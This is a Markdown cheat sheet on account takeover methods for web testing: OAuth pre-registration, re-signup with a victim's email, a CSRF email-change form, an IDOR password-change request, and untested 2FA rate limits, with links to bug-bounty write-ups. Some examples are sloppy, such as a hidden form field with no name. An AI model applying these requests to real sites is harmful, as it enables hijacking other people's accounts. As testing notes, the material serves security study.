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56 lines
2.1 KiB
Markdown
56 lines
2.1 KiB
Markdown
# Account Takeover
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## Introduction
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Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.
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## How to exploit
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1. Using OAuth Misconfiguration
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- Victim has a account in evil.com
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- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
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- Attacker changed his/her email to victim email.
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- When the victim try to create an account on evil.com, it says the email already exists.
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2. Try re-sign up using same email
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```
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POST /newaccount
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[...]
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email=victim@mail.com&password=1234
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```
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After sign up using victim email, try signup again but using different password
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```
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POST /newaccount
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[...]
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email=victim@mail.com&password=hacked
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```
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3. via CSRF
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- Create an account as an attacker and fill all the form, check your info in the Account Detail.
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- Change the email and capture the request, then created a CSRF Exploit.
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- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
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```html
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<html>
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<body>
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<form action="https://evil.com/user/change-email" method="POST">
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<input type="hidden" value="victim@gmail.com"/>
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<input type="submit" value="Submit Request">
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</form>
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</body>
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</html>
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```
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4. Chaining with IDOR, for example
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```
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POST /changepassword.php
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Host: site.com
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[...]
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userid=500&password=heked123
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```
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500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
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5. No Rate Limit on 2FA
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References:
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- [Pre-Account Takeover using OAuth Misconfiguration](https://vijetareigns.medium.com/pre-account-takeover-using-oauth-misconfiguration-ebd32b80f3d3)
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- [Account Takeover via CSRF](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
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- [How re-signing up for an account lead to account takeover](https://zseano.medium.com/how-re-signing-up-for-an-account-lead-to-account-takeover-3a63a628fd9f) |